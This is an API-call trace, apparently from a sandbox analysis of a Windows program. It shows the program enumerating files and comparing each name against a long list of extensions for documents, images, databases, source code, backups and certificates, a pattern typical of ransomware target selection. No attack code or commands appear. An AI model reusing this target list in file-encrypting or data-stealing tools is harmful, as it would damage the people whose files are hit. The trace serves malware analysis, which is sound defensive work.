	[0189.501] FindNextFileW (in: hFindFile=0x3fb2498, lpFindFileData=0x35ef08c | out: lpFindFileData=0x35ef08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bb38282, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb198bf00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msdaremr.dll.mui", cAlternateFileName="")) returned 1
	[0189.501] FindNextFileW (in: hFindFile=0x3fb2498, lpFindFileData=0x35ef08c | out: lpFindFileData=0x35ef08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bb38282, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb198bf00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msdaremr.dll.mui", cAlternateFileName="")) returned 0
	[0189.501] FindClose (in: hFindFile=0x3fb2498 | out: hFindFile=0x3fb2498) returned 1
	[0189.501] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x400a8b8 | out: hHeap=0x750000) returned 1
	[0189.501] FindNextFileW (in: hFindFile=0x3fb2658, lpFindFileData=0x35ef308 | out: lpFindFileData=0x35ef308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41da7e83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41da7e83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41da7e83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa9c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadce.dll", cAlternateFileName="")) returned 1
	[0189.501] lstrlenW (lpString="msadce.dll") returned 10
	[0189.501] lstrlenW (lpString=".1cd") returned 4
	[0189.501] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0189.501] lstrlenW (lpString=".3ds") returned 4
	[0189.501] lstrcmpiW (lpString1=".3ds", lpString2=".dll") returned -1
	[0189.501] lstrlenW (lpString=".3fr") returned 4
	[0189.502] lstrcmpiW (lpString1=".3fr", lpString2=".dll") returned -1
	[0189.502] lstrlenW (lpString=".3g2") returned 4
	[0189.502] lstrcmpiW (lpString1=".3g2", lpString2=".dll") returned -1
	[0189.502] lstrlenW (lpString=".3gp") returned 4
	[0189.502] lstrcmpiW (lpString1=".3gp", lpString2=".dll") returned -1
	[0189.502] lstrlenW (lpString=".7z") returned 3
	[0189.502] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0189.502] lstrlenW (lpString=".accda") returned 6
	[0189.502] lstrcmpiW (lpString1=".accda", lpString2="ce.dll") returned -1
	[0189.502] lstrlenW (lpString=".accdb") returned 6
	[0189.502] lstrcmpiW (lpString1=".accdb", lpString2="ce.dll") returned -1
	[0189.502] lstrlenW (lpString=".accdc") returned 6
	[0189.502] lstrcmpiW (lpString1=".accdc", lpString2="ce.dll") returned -1
	[0189.502] lstrlenW (lpString=".accde") returned 6
	[0189.502] lstrcmpiW (lpString1=".accde", lpString2="ce.dll") returned -1
	[0189.502] lstrlenW (lpString=".accdt") returned 6
	[0189.502] lstrcmpiW (lpString1=".accdt", lpString2="ce.dll") returned -1
	[0189.502] lstrlenW (lpString=".accdw") returned 6
	[0189.502] lstrcmpiW (lpString1=".accdw", lpString2="ce.dll") returned -1
	[0189.502] lstrlenW (lpString=".adb") returned 4
	[0189.502] lstrcmpiW (lpString1=".adb", lpString2=".dll") returned -1
	[0189.502] lstrlenW (lpString=".adp") returned 4
	[0189.502] lstrcmpiW (lpString1=".adp", lpString2=".dll") returned -1
	[0189.502] lstrlenW (lpString=".ai") returned 3
	[0189.502] lstrcmpiW (lpString1=".ai", lpString2="dll") returned -1
	[0189.502] lstrlenW (lpString=".ai3") returned 4
	[0189.502] lstrcmpiW (lpString1=".ai3", lpString2=".dll") returned -1
	[0189.502] lstrlenW (lpString=".ai4") returned 4
	[0189.502] lstrcmpiW (lpString1=".ai4", lpString2=".dll") returned -1
	[0189.502] lstrlenW (lpString=".ai5") returned 4
	[0189.502] lstrcmpiW (lpString1=".ai5", lpString2=".dll") returned -1
	[0189.502] lstrlenW (lpString=".ai6") returned 4
	[0189.502] lstrcmpiW (lpString1=".ai6", lpString2=".dll") returned -1
	[0189.502] lstrlenW (lpString=".ai7") returned 4
	[0189.503] lstrcmpiW (lpString1=".ai7", lpString2=".dll") returned -1
	[0189.503] lstrlenW (lpString=".ai8") returned 4
	[0189.503] lstrcmpiW (lpString1=".ai8", lpString2=".dll") returned -1
	[0189.503] lstrlenW (lpString=".anim") returned 5
	[0189.503] lstrcmpiW (lpString1=".anim", lpString2="e.dll") returned -1
	[0189.503] lstrlenW (lpString=".arw") returned 4
	[0189.503] lstrcmpiW (lpString1=".arw", lpString2=".dll") returned -1
	[0189.503] lstrlenW (lpString=".as") returned 3
	[0189.503] lstrcmpiW (lpString1=".as", lpString2="dll") returned -1
	[0189.503] lstrlenW (lpString=".asa") returned 4
	[0189.503] lstrcmpiW (lpString1=".asa", lpString2=".dll") returned -1
	[0189.503] lstrlenW (lpString=".asc") returned 4
	[0189.503] lstrcmpiW (lpString1=".asc", lpString2=".dll") returned -1
	[0189.503] lstrlenW (lpString=".ascx") returned 5
	[0189.503] lstrcmpiW (lpString1=".ascx", lpString2="e.dll") returned -1
	[0189.503] lstrlenW (lpString=".asm") returned 4
	[0189.503] lstrcmpiW (lpString1=".asm", lpString2=".dll") returned -1
	[0189.503] lstrlenW (lpString=".asmx") returned 5
	[0189.503] lstrcmpiW (lpString1=".asmx", lpString2="e.dll") returned -1
	[0189.503] lstrlenW (lpString=".asp") returned 4
	[0189.503] lstrcmpiW (lpString1=".asp", lpString2=".dll") returned -1
	[0189.503] lstrlenW (lpString=".aspx") returned 5
	[0189.503] lstrcmpiW (lpString1=".aspx", lpString2="e.dll") returned -1
	[0189.503] lstrlenW (lpString=".asr") returned 4
	[0189.503] lstrcmpiW (lpString1=".asr", lpString2=".dll") returned -1
	[0189.503] lstrlenW (lpString=".asx") returned 4
	[0189.503] lstrcmpiW (lpString1=".asx", lpString2=".dll") returned -1
	[0189.503] lstrlenW (lpString=".avi") returned 4
	[0189.503] lstrcmpiW (lpString1=".avi", lpString2=".dll") returned -1
	[0189.503] lstrlenW (lpString=".avs") returned 4
	[0189.503] lstrcmpiW (lpString1=".avs", lpString2=".dll") returned -1
	[0189.503] lstrlenW (lpString=".backup") returned 7
	[0189.503] lstrcmpiW (lpString1=".backup", lpString2="dce.dll") returned -1
	[0189.503] lstrlenW (lpString=".bak") returned 4
	[0189.503] lstrcmpiW (lpString1=".bak", lpString2=".dll") returned -1
	[0189.503] lstrlenW (lpString=".bay") returned 4
	[0189.503] lstrcmpiW (lpString1=".bay", lpString2=".dll") returned -1
	[0189.504] lstrlenW (lpString=".bd") returned 3
	[0189.504] lstrcmpiW (lpString1=".bd", lpString2="dll") returned -1
	[0189.504] lstrlenW (lpString=".bin") returned 4
	[0189.504] lstrcmpiW (lpString1=".bin", lpString2=".dll") returned -1
	[0189.504] lstrlenW (lpString=".bmp") returned 4
	[0189.504] lstrcmpiW (lpString1=".bmp", lpString2=".dll") returned -1
	[0189.504] lstrlenW (lpString=".bz2") returned 4
	[0189.504] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0189.504] lstrlenW (lpString=".c") returned 2
	[0189.504] lstrcmpiW (lpString1=".c", lpString2="ll") returned -1
	[0189.504] lstrlenW (lpString=".cdr") returned 4
	[0189.504] lstrcmpiW (lpString1=".cdr", lpString2=".dll") returned -1
	[0189.504] lstrlenW (lpString=".cer") returned 4
	[0189.504] lstrcmpiW (lpString1=".cer", lpString2=".dll") returned -1
	[0189.504] lstrlenW (lpString=".cf") returned 3
	[0189.504] lstrcmpiW (lpString1=".cf", lpString2="dll") returned -1
	[0189.504] lstrlenW (lpString=".cfc") returned 4
	[0189.504] lstrcmpiW (lpString1=".cfc", lpString2=".dll") returned -1
	[0189.504] lstrlenW (lpString=".cfm") returned 4
	[0189.504] lstrcmpiW (lpString1=".cfm", lpString2=".dll") returned -1
	[0189.504] lstrlenW (lpString=".cfml") returned 5
	[0189.504] lstrcmpiW (lpString1=".cfml", lpString2="e.dll") returned -1
	[0189.504] lstrlenW (lpString=".cfu") returned 4
	[0189.504] lstrcmpiW (lpString1=".cfu", lpString2=".dll") returned -1
	[0189.504] lstrlenW (lpString=".chm") returned 4
	[0189.504] lstrcmpiW (lpString1=".chm", lpString2=".dll") returned -1
	[0189.504] lstrlenW (lpString=".cin") returned 4
	[0189.504] lstrcmpiW (lpString1=".cin", lpString2=".dll") returned -1
	[0189.504] lstrlenW (lpString=".class") returned 6
	[0189.504] lstrcmpiW (lpString1=".class", lpString2="ce.dll") returned -1
	[0189.504] lstrlenW (lpString=".clx") returned 4
	[0189.504] lstrcmpiW (lpString1=".clx", lpString2=".dll") returned -1
	[0189.504] lstrlenW (lpString=".config") returned 7
	[0189.504] lstrcmpiW (lpString1=".config", lpString2="dce.dll") returned -1
	[0189.504] lstrlenW (lpString=".cpp") returned 4
	[0189.504] lstrcmpiW (lpString1=".cpp", lpString2=".dll") returned -1
	[0189.504] lstrlenW (lpString=".cr2") returned 4
	[0189.505] lstrcmpiW (lpString1=".cr2", lpString2=".dll") returned -1
	[0189.505] lstrlenW (lpString=".crt") returned 4
	[0189.505] lstrcmpiW (lpString1=".crt", lpString2=".dll") returned -1
	[0189.505] lstrlenW (lpString=".crw") returned 4
	[0189.505] lstrcmpiW (lpString1=".crw", lpString2=".dll") returned -1
	[0189.505] lstrlenW (lpString=".cs") returned 3
	[0189.505] lstrcmpiW (lpString1=".cs", lpString2="dll") returned -1
	[0189.505] lstrlenW (lpString=".css") returned 4
	[0189.505] lstrcmpiW (lpString1=".css", lpString2=".dll") returned -1
	[0189.505] lstrlenW (lpString=".csv") returned 4
	[0189.505] lstrcmpiW (lpString1=".csv", lpString2=".dll") returned -1
	[0189.505] lstrlenW (lpString=".cub") returned 4
	[0189.505] lstrcmpiW (lpString1=".cub", lpString2=".dll") returned -1
	[0189.505] lstrlenW (lpString=".dae") returned 4
	[0189.505] lstrcmpiW (lpString1=".dae", lpString2=".dll") returned -1
	[0189.505] lstrlenW (lpString=".dat") returned 4
	[0189.505] lstrcmpiW (lpString1=".dat", lpString2=".dll") returned -1
	[0189.505] lstrlenW (lpString=".db") returned 3
	[0189.505] lstrcmpiW (lpString1=".db", lpString2="dll") returned -1
	[0189.505] lstrlenW (lpString=".dbf") returned 4
	[0189.505] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0189.505] lstrlenW (lpString=".dbx") returned 4
	[0189.505] lstrcmpiW (lpString1=".dbx", lpString2=".dll") returned -1
	[0189.505] lstrlenW (lpString=".dc3") returned 4
	[0189.505] lstrcmpiW (lpString1=".dc3", lpString2=".dll") returned -1
	[0189.505] lstrlenW (lpString=".dcm") returned 4
	[0189.505] lstrcmpiW (lpString1=".dcm", lpString2=".dll") returned -1
	[0189.505] lstrlenW (lpString=".dcr") returned 4
	[0189.505] lstrcmpiW (lpString1=".dcr", lpString2=".dll") returned -1
	[0189.505] lstrlenW (lpString=".der") returned 4
	[0189.505] lstrcmpiW (lpString1=".der", lpString2=".dll") returned -1
	[0189.505] lstrlenW (lpString=".dib") returned 4
	[0189.505] lstrcmpiW (lpString1=".dib", lpString2=".dll") returned -1
	[0189.505] lstrlenW (lpString=".dic") returned 4
	[0189.505] lstrcmpiW (lpString1=".dic", lpString2=".dll") returned -1
	[0189.505] lstrlenW (lpString=".dif") returned 4
	[0189.506] lstrcmpiW (lpString1=".dif", lpString2=".dll") returned -1
	[0189.506] lstrlenW (lpString=".divx") returned 5
	[0189.506] lstrcmpiW (lpString1=".divx", lpString2="e.dll") returned -1
	[0189.506] lstrlenW (lpString=".djvu") returned 5
	[0189.506] lstrcmpiW (lpString1=".djvu", lpString2="e.dll") returned -1
	[0189.506] lstrlenW (lpString=".dng") returned 4
	[0189.506] lstrcmpiW (lpString1=".dng", lpString2=".dll") returned 1
	[0189.506] lstrlenW (lpString=".doc") returned 4
	[0189.506] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0189.506] lstrlenW (lpString=".docm") returned 5
	[0189.506] lstrcmpiW (lpString1=".docm", lpString2="e.dll") returned -1
	[0189.506] lstrlenW (lpString=".docx") returned 5
	[0189.506] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1
	[0189.506] lstrlenW (lpString=".dot") returned 4
	[0189.506] lstrcmpiW (lpString1=".dot", lpString2=".dll") returned 1
	[0189.506] lstrlenW (lpString=".dotm") returned 5
	[0189.506] lstrcmpiW (lpString1=".dotm", lpString2="e.dll") returned -1
	[0189.506] lstrlenW (lpString=".dotx") returned 5
	[0189.506] lstrcmpiW (lpString1=".dotx", lpString2="e.dll") returned -1
	[0189.506] lstrlenW (lpString=".dpx") returned 4
	[0189.506] lstrcmpiW (lpString1=".dpx", lpString2=".dll") returned 1
	[0189.506] lstrlenW (lpString=".dqy") returned 4
	[0189.506] lstrcmpiW (lpString1=".dqy", lpString2=".dll") returned 1
	[0189.506] lstrlenW (lpString=".dsn") returned 4
	[0189.506] lstrcmpiW (lpString1=".dsn", lpString2=".dll") returned 1
	[0189.506] lstrlenW (lpString=".dt") returned 3
	[0189.506] lstrcmpiW (lpString1=".dt", lpString2="dll") returned -1
	[0189.506] lstrlenW (lpString=".dtd") returned 4
	[0189.506] lstrcmpiW (lpString1=".dtd", lpString2=".dll") returned 1
	[0189.506] lstrlenW (lpString=".dwg") returned 4
	[0189.506] lstrcmpiW (lpString1=".dwg", lpString2=".dll") returned 1
	[0189.506] lstrlenW (lpString=".dwt") returned 4
	[0189.506] lstrcmpiW (lpString1=".dwt", lpString2=".dll") returned 1
	[0189.506] lstrlenW (lpString=".dx") returned 3
	[0189.506] lstrcmpiW (lpString1=".dx", lpString2="dll") returned -1
	[0189.506] lstrlenW (lpString=".dxf") returned 4
	[0189.506] lstrcmpiW (lpString1=".dxf", lpString2=".dll") returned 1
	[0189.507] lstrlenW (lpString=".edml") returned 5
	[0189.507] lstrcmpiW (lpString1=".edml", lpString2="e.dll") returned -1
	[0189.507] lstrlenW (lpString=".efd") returned 4
	[0189.507] lstrcmpiW (lpString1=".efd", lpString2=".dll") returned 1
	[0189.507] lstrlenW (lpString=".elf") returned 4
	[0189.507] lstrcmpiW (lpString1=".elf", lpString2=".dll") returned 1
	[0189.507] lstrlenW (lpString=".emf") returned 4
	[0189.507] lstrcmpiW (lpString1=".emf", lpString2=".dll") returned 1
	[0189.507] lstrlenW (lpString=".emz") returned 4
	[0189.507] lstrcmpiW (lpString1=".emz", lpString2=".dll") returned 1
	[0189.507] lstrlenW (lpString=".epf") returned 4
	[0189.507] lstrcmpiW (lpString1=".epf", lpString2=".dll") returned 1
	[0189.507] lstrlenW (lpString=".eps") returned 4
	[0189.507] lstrcmpiW (lpString1=".eps", lpString2=".dll") returned 1
	[0189.507] lstrlenW (lpString=".epsf") returned 5
	[0189.507] lstrcmpiW (lpString1=".epsf", lpString2="e.dll") returned -1
	[0189.507] lstrlenW (lpString=".epsp") returned 5
	[0189.507] lstrcmpiW (lpString1=".epsp", lpString2="e.dll") returned -1
	[0189.507] lstrlenW (lpString=".erf") returned 4
	[0189.507] lstrcmpiW (lpString1=".erf", lpString2=".dll") returned 1
	[0189.507] lstrlenW (lpString=".exr") returned 4
	[0189.507] lstrcmpiW (lpString1=".exr", lpString2=".dll") returned 1
	[0189.507] lstrlenW (lpString=".f4v") returned 4
	[0189.507] lstrcmpiW (lpString1=".f4v", lpString2=".dll") returned 1
	[0189.507] lstrlenW (lpString=".fido") returned 5
	[0189.507] lstrcmpiW (lpString1=".fido", lpString2="e.dll") returned -1
	[0189.507] lstrlenW (lpString=".flm") returned 4
	[0189.507] lstrcmpiW (lpString1=".flm", lpString2=".dll") returned 1
	[0189.507] lstrlenW (lpString=".flv") returned 4
	[0189.507] lstrcmpiW (lpString1=".flv", lpString2=".dll") returned 1
	[0189.507] lstrlenW (lpString=".frm") returned 4
	[0189.507] lstrcmpiW (lpString1=".frm", lpString2=".dll") returned 1
	[0189.507] lstrlenW (lpString=".fxg") returned 4
	[0189.507] lstrcmpiW (lpString1=".fxg", lpString2=".dll") returned 1
	[0189.507] lstrlenW (lpString=".geo") returned 4
	[0189.507] lstrcmpiW (lpString1=".geo", lpString2=".dll") returned 1
	[0189.507] lstrlenW (lpString=".gif") returned 4
	[0189.508] lstrcmpiW (lpString1=".gif", lpString2=".dll") returned 1
	[0189.508] lstrlenW (lpString=".grs") returned 4
	[0189.508] lstrcmpiW (lpString1=".grs", lpString2=".dll") returned 1
	[0189.508] lstrlenW (lpString=".gz") returned 3
	[0189.508] lstrcmpiW (lpString1=".gz", lpString2="dll") returned -1
	[0189.508] lstrlenW (lpString=".h") returned 2
	[0189.508] lstrcmpiW (lpString1=".h", lpString2="ll") returned -1
	[0189.508] lstrlenW (lpString=".hdr") returned 4
	[0189.508] lstrcmpiW (lpString1=".hdr", lpString2=".dll") returned 1
	[0189.508] lstrlenW (lpString=".hpp") returned 4
	[0189.508] lstrcmpiW (lpString1=".hpp", lpString2=".dll") returned 1
	[0189.508] lstrlenW (lpString=".hta") returned 4
	[0189.508] lstrcmpiW (lpString1=".hta", lpString2=".dll") returned 1
	[0189.508] lstrlenW (lpString=".htc") returned 4
	[0189.508] lstrcmpiW (lpString1=".htc", lpString2=".dll") returned 1
	[0189.508] lstrlenW (lpString=".htm") returned 4
	[0189.508] lstrcmpiW (lpString1=".htm", lpString2=".dll") returned 1
	[0189.508] lstrlenW (lpString=".html") returned 5
	[0189.508] lstrcmpiW (lpString1=".html", lpString2="e.dll") returned -1
	[0189.508] lstrlenW (lpString=".icb") returned 4
	[0189.508] lstrcmpiW (lpString1=".icb", lpString2=".dll") returned 1
	[0189.508] lstrlenW (lpString=".ics") returned 4
	[0189.508] lstrcmpiW (lpString1=".ics", lpString2=".dll") returned 1
	[0189.508] lstrlenW (lpString=".iff") returned 4
	[0189.508] lstrcmpiW (lpString1=".iff", lpString2=".dll") returned 1
	[0189.508] lstrlenW (lpString=".inc") returned 4
	[0189.508] lstrcmpiW (lpString1=".inc", lpString2=".dll") returned 1
	[0189.508] lstrlenW (lpString=".indd") returned 5
	[0189.508] lstrcmpiW (lpString1=".indd", lpString2="e.dll") returned -1
	[0189.508] lstrlenW (lpString=".ini") returned 4
	[0189.508] lstrcmpiW (lpString1=".ini", lpString2=".dll") returned 1
	[0189.508] lstrlenW (lpString=".iqy") returned 4
	[0189.508] lstrcmpiW (lpString1=".iqy", lpString2=".dll") returned 1
	[0189.508] lstrlenW (lpString=".j2c") returned 4
	[0189.508] lstrcmpiW (lpString1=".j2c", lpString2=".dll") returned 1
	[0189.508] lstrlenW (lpString=".j2k") returned 4
	[0189.508] lstrcmpiW (lpString1=".j2k", lpString2=".dll") returned 1
	[0189.509] lstrlenW (lpString=".java") returned 5
	[0189.509] lstrcmpiW (lpString1=".java", lpString2="e.dll") returned -1
	[0189.509] lstrlenW (lpString=".jp2") returned 4
	[0189.509] lstrcmpiW (lpString1=".jp2", lpString2=".dll") returned 1
	[0189.509] lstrlenW (lpString=".jpc") returned 4
	[0189.509] lstrcmpiW (lpString1=".jpc", lpString2=".dll") returned 1
	[0189.509] lstrlenW (lpString=".jpe") returned 4
	[0189.509] lstrcmpiW (lpString1=".jpe", lpString2=".dll") returned 1
	[0189.509] lstrlenW (lpString=".jpeg") returned 5
	[0189.509] lstrcmpiW (lpString1=".jpeg", lpString2="e.dll") returned -1
	[0189.509] lstrlenW (lpString=".jpf") returned 4
	[0189.509] lstrcmpiW (lpString1=".jpf", lpString2=".dll") returned 1
	[0189.509] lstrlenW (lpString=".jpg") returned 4
	[0189.509] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0189.509] lstrlenW (lpString=".jpx") returned 4
	[0189.509] lstrcmpiW (lpString1=".jpx", lpString2=".dll") returned 1
	[0189.509] lstrlenW (lpString=".js") returned 3
	[0189.509] lstrcmpiW (lpString1=".js", lpString2="dll") returned -1
	[0189.509] lstrlenW (lpString=".jsf") returned 4
	[0189.509] lstrcmpiW (lpString1=".jsf", lpString2=".dll") returned 1
	[0189.509] lstrlenW (lpString=".json") returned 5
	[0189.509] lstrcmpiW (lpString1=".json", lpString2="e.dll") returned -1
	[0189.509] lstrlenW (lpString=".jsp") returned 4
	[0189.509] lstrcmpiW (lpString1=".jsp", lpString2=".dll") returned 1
	[0189.509] lstrlenW (lpString=".kdc") returned 4
	[0189.509] lstrcmpiW (lpString1=".kdc", lpString2=".dll") returned 1
	[0189.509] lstrlenW (lpString=".kmz") returned 4
	[0189.509] lstrcmpiW (lpString1=".kmz", lpString2=".dll") returned 1
	[0189.509] lstrlenW (lpString=".kwm") returned 4
	[0189.509] lstrcmpiW (lpString1=".kwm", lpString2=".dll") returned 1
	[0189.509] lstrlenW (lpString=".lasso") returned 6
	[0189.509] lstrcmpiW (lpString1=".lasso", lpString2="ce.dll") returned -1
	[0189.509] lstrlenW (lpString=".lbi") returned 4
	[0189.509] lstrcmpiW (lpString1=".lbi", lpString2=".dll") returned 1
	[0189.509] lstrlenW (lpString=".lgf") returned 4
	[0189.509] lstrcmpiW (lpString1=".lgf", lpString2=".dll") returned 1
	[0189.509] lstrlenW (lpString=".lgp") returned 4
	[0189.510] lstrcmpiW (lpString1=".lgp", lpString2=".dll") returned 1
	[0189.510] lstrlenW (lpString=".log") returned 4
	[0189.510] lstrcmpiW (lpString1=".log", lpString2=".dll") returned 1
	[0189.510] lstrlenW (lpString=".m1v") returned 4
	[0189.510] lstrcmpiW (lpString1=".m1v", lpString2=".dll") returned 1
	[0189.510] lstrlenW (lpString=".m4a") returned 4
	[0189.510] lstrcmpiW (lpString1=".m4a", lpString2=".dll") returned 1
	[0189.510] lstrlenW (lpString=".m4v") returned 4
	[0189.510] lstrcmpiW (lpString1=".m4v", lpString2=".dll") returned 1
	[0189.510] lstrlenW (lpString=".max") returned 4
	[0189.510] lstrcmpiW (lpString1=".max", lpString2=".dll") returned 1
	[0189.510] lstrlenW (lpString=".md") returned 3
	[0189.510] lstrcmpiW (lpString1=".md", lpString2="dll") returned -1
	[0189.510] lstrlenW (lpString=".mda") returned 4
	[0189.510] lstrcmpiW (lpString1=".mda", lpString2=".dll") returned 1
	[0189.510] lstrlenW (lpString=".mdb") returned 4
	[0189.510] lstrcmpiW (lpString1=".mdb", lpString2=".dll") returned 1
	[0189.510] lstrlenW (lpString=".mde") returned 4
	[0189.510] lstrcmpiW (lpString1=".mde", lpString2=".dll") returned 1
	[0189.510] lstrlenW (lpString=".mdf") returned 4
	[0189.510] lstrcmpiW (lpString1=".mdf", lpString2=".dll") returned 1
	[0189.510] lstrlenW (lpString=".mdw") returned 4
	[0189.510] lstrcmpiW (lpString1=".mdw", lpString2=".dll") returned 1
	[0189.510] lstrlenW (lpString=".mef") returned 4
	[0189.510] lstrcmpiW (lpString1=".mef", lpString2=".dll") returned 1
	[0189.510] lstrlenW (lpString=".mft") returned 4
	[0189.510] lstrcmpiW (lpString1=".mft", lpString2=".dll") returned 1
	[0189.510] lstrlenW (lpString=".mfw") returned 4
	[0189.510] lstrcmpiW (lpString1=".mfw", lpString2=".dll") returned 1
	[0189.510] lstrlenW (lpString=".mht") returned 4
	[0189.510] lstrcmpiW (lpString1=".mht", lpString2=".dll") returned 1
	[0189.510] lstrlenW (lpString=".mhtml") returned 6
	[0189.510] lstrcmpiW (lpString1=".mhtml", lpString2="ce.dll") returned -1
	[0189.510] lstrlenW (lpString=".mka") returned 4
	[0189.510] lstrcmpiW (lpString1=".mka", lpString2=".dll") returned 1
	[0189.510] lstrlenW (lpString=".mkidx") returned 6
	[0189.510] lstrcmpiW (lpString1=".mkidx", lpString2="ce.dll") returned -1
	[0189.511] lstrlenW (lpString=".mkv") returned 4
	[0189.511] lstrcmpiW (lpString1=".mkv", lpString2=".dll") returned 1
	[0189.511] lstrlenW (lpString=".mos") returned 4
	[0189.511] lstrcmpiW (lpString1=".mos", lpString2=".dll") returned 1
	[0189.511] lstrlenW (lpString=".mov") returned 4
	[0189.511] lstrcmpiW (lpString1=".mov", lpString2=".dll") returned 1
	[0189.511] lstrlenW (lpString=".mp3") returned 4
	[0189.511] lstrcmpiW (lpString1=".mp3", lpString2=".dll") returned 1
	[0189.511] lstrlenW (lpString=".mp4") returned 4
	[0189.511] lstrcmpiW (lpString1=".mp4", lpString2=".dll") returned 1
	[0189.511] lstrlenW (lpString=".mpeg") returned 5
	[0189.511] lstrcmpiW (lpString1=".mpeg", lpString2="e.dll") returned -1
	[0189.511] lstrlenW (lpString=".mpg") returned 4
	[0189.511] lstrcmpiW (lpString1=".mpg", lpString2=".dll") returned 1
	[0189.511] lstrlenW (lpString=".mpv") returned 4
	[0189.511] lstrcmpiW (lpString1=".mpv", lpString2=".dll") returned 1
	[0189.511] lstrlenW (lpString=".mrw") returned 4
	[0189.511] lstrcmpiW (lpString1=".mrw", lpString2=".dll") returned 1
	[0189.728] lstrlenW (lpString=".msg") returned 4
	[0189.728] lstrcmpiW (lpString1=".msg", lpString2=".dll") returned 1
	[0189.728] lstrlenW (lpString=".mxl") returned 4
	[0189.728] lstrcmpiW (lpString1=".mxl", lpString2=".dll") returned 1
	[0189.729] lstrlenW (lpString=".myd") returned 4
	[0189.729] lstrcmpiW (lpString1=".myd", lpString2=".dll") returned 1
	[0189.729] lstrlenW (lpString=".myi") returned 4
	[0189.729] lstrcmpiW (lpString1=".myi", lpString2=".dll") returned 1
	[0189.729] lstrlenW (lpString=".nef") returned 4
	[0189.729] lstrcmpiW (lpString1=".nef", lpString2=".dll") returned 1
	[0189.729] lstrlenW (lpString=".nrw") returned 4
	[0189.729] lstrcmpiW (lpString1=".nrw", lpString2=".dll") returned 1
	[0189.729] lstrlenW (lpString=".obj") returned 4
	[0189.729] lstrcmpiW (lpString1=".obj", lpString2=".dll") returned 1
	[0189.729] lstrlenW (lpString=".odb") returned 4
	[0189.729] lstrcmpiW (lpString1=".odb", lpString2=".dll") returned 1
	[0189.729] lstrlenW (lpString=".odc") returned 4
	[0189.729] lstrcmpiW (lpString1=".odc", lpString2=".dll") returned 1
	[0189.729] lstrlenW (lpString=".odm") returned 4
	[0189.729] lstrcmpiW (lpString1=".odm", lpString2=".dll") returned 1
	[0189.729] lstrlenW (lpString=".odp") returned 4
	[0189.729] lstrcmpiW (lpString1=".odp", lpString2=".dll") returned 1
	[0189.729] lstrlenW (lpString=".ods") returned 4
	[0189.729] lstrcmpiW (lpString1=".ods", lpString2=".dll") returned 1
	[0189.729] lstrlenW (lpString=".oft") returned 4
	[0189.729] lstrcmpiW (lpString1=".oft", lpString2=".dll") returned 1
	[0189.729] lstrlenW (lpString=".one") returned 4
	[0189.729] lstrcmpiW (lpString1=".one", lpString2=".dll") returned 1
	[0189.729] lstrlenW (lpString=".onepkg") returned 7
	[0189.729] lstrcmpiW (lpString1=".onepkg", lpString2="dce.dll") returned -1
	[0189.729] lstrlenW (lpString=".onetoc2") returned 8
	[0189.729] lstrcmpiW (lpString1=".onetoc2", lpString2="adce.dll") returned -1
	[0189.729] lstrlenW (lpString=".opt") returned 4
	[0189.729] lstrcmpiW (lpString1=".opt", lpString2=".dll") returned 1
	[0189.729] lstrlenW (lpString=".oqy") returned 4
	[0189.729] lstrcmpiW (lpString1=".oqy", lpString2=".dll") returned 1
	[0189.729] lstrlenW (lpString=".orf") returned 4
	[0189.729] lstrcmpiW (lpString1=".orf", lpString2=".dll") returned 1
	[0189.729] lstrlenW (lpString=".p12") returned 4
	[0189.729] lstrcmpiW (lpString1=".p12", lpString2=".dll") returned 1
	[0189.729] lstrlenW (lpString=".p7b") returned 4
	[0189.730] lstrcmpiW (lpString1=".p7b", lpString2=".dll") returned 1
	[0189.730] lstrlenW (lpString=".p7c") returned 4
	[0189.730] lstrcmpiW (lpString1=".p7c", lpString2=".dll") returned 1
	[0189.730] lstrlenW (lpString=".pam") returned 4
	[0189.730] lstrcmpiW (lpString1=".pam", lpString2=".dll") returned 1
	[0189.730] lstrlenW (lpString=".pbm") returned 4
	[0189.730] lstrcmpiW (lpString1=".pbm", lpString2=".dll") returned 1
	[0189.730] lstrlenW (lpString=".pct") returned 4
	[0189.730] lstrcmpiW (lpString1=".pct", lpString2=".dll") returned 1
	[0189.730] lstrlenW (lpString=".pcx") returned 4
	[0189.730] lstrcmpiW (lpString1=".pcx", lpString2=".dll") returned 1
	[0189.730] lstrlenW (lpString=".pdd") returned 4
	[0189.730] lstrcmpiW (lpString1=".pdd", lpString2=".dll") returned 1
	[0189.730] lstrlenW (lpString=".pdf") returned 4
	[0189.730] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0189.730] lstrlenW (lpString=".pdp") returned 4
	[0189.730] lstrcmpiW (lpString1=".pdp", lpString2=".dll") returned 1
	[0189.730] lstrlenW (lpString=".pef") returned 4
	[0189.730] lstrcmpiW (lpString1=".pef", lpString2=".dll") returned 1
	[0189.730] lstrlenW (lpString=".pem") returned 4
	[0189.730] lstrcmpiW (lpString1=".pem", lpString2=".dll") returned 1
